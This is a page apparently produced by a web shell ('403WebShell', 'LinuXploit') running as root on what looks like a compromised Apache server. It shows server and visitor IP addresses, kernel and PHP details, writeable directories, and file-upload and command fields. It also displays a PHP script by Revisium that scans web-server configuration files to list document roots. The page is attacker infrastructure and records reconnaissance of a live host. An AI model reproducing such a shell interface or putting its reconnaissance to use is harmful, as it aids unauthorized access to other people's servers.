Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/epi/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/epi/tools/vps_docroot.php
<?php
///////////////////////////////////////////////////////////////////////////
// Created and developed by Greg Zemskov, Revisium Company
// Email: ai@revisium.com, http://revisium.com/ai/, skype: greg_zemskov
// For non-commercial usage only
///////////////////////////////////////////////////////////////////////////

$found_dirs = array();

// exclude from scan list
$exclude_dirs = array(
    '/usr/share', 
    '/var/www',
	'/usr'
                );

// add extra dirs to scan list
$include_dirs = array(
    '/tmp', 
    '/home/bitrix', 
    '/var/www/bitrix', 
    '/var/tmp'
                );


////////////////////////////////////////////////////////////////////////////////////////////////////////
function scan_configs($path, $recurs) {
	global $found_dirs;
	if (!file_exists($path)) {
           return; 
        }
		
	if ($dir = opendir($path)) {
		while($file = readdir($dir)) {
			if (($file == '.') or ($file == '..'))
				continue;
			
			$name = $file;
			$file = $path . '/' . $file;
			
			if (is_dir($file) && $recurs)  {
				scan_configs($file, true);
			}

			if (is_file($file) && filesize($file) < 5000000) {
                           $content = file_get_contents($file);
                           if ((preg_match_all('~DocumentRoot\s+[\'"]?(/[^\s\'"]+)~mi', $content, $out, PREG_PATTERN_ORDER)) ||
			       (preg_match_all('~DocumentRoot\s+(/.+)~mi', $content, $out, PREG_PATTERN_ORDER)) ||
                               (preg_match_all('~root_path\s+(/.+);~mi', $content, $out, PREG_PATTERN_ORDER)) ||
                               (preg_match_all('~root\s+(/.+);$~mi', $content, $out, PREG_PATTERN_ORDER))) {
				foreach ($out[1] as $index => $docroot) {
                   $docroot = "/" . trim(trim($docroot), "/");
				   $found_dirs[$docroot] = 1;
                                }
                           }
                        }
		}  

		closedir($dir);
 	}
}

scan_configs('/etc/apache2', true);
scan_configs('/etc/httpd', true);
scan_configs('/usr/local/nginx/conf', true);
scan_configs('/etc/nginx', true);
scan_configs('/usr/local/etc/nginx', true);
scan_configs('/usr/local/directadmin/data', true);
scan_configs('/home/admin/conf/', true);

$result_list = array_merge(array_diff(array_keys($found_dirs), $exclude_dirs), $include_dirs);
sort($result_list);

foreach ($result_list as $dir) {
   if (file_exists($dir)) {
      echo $dir . "\n";
   }
}


Youez - 2016 - github.com/yon3zu
LinuXploit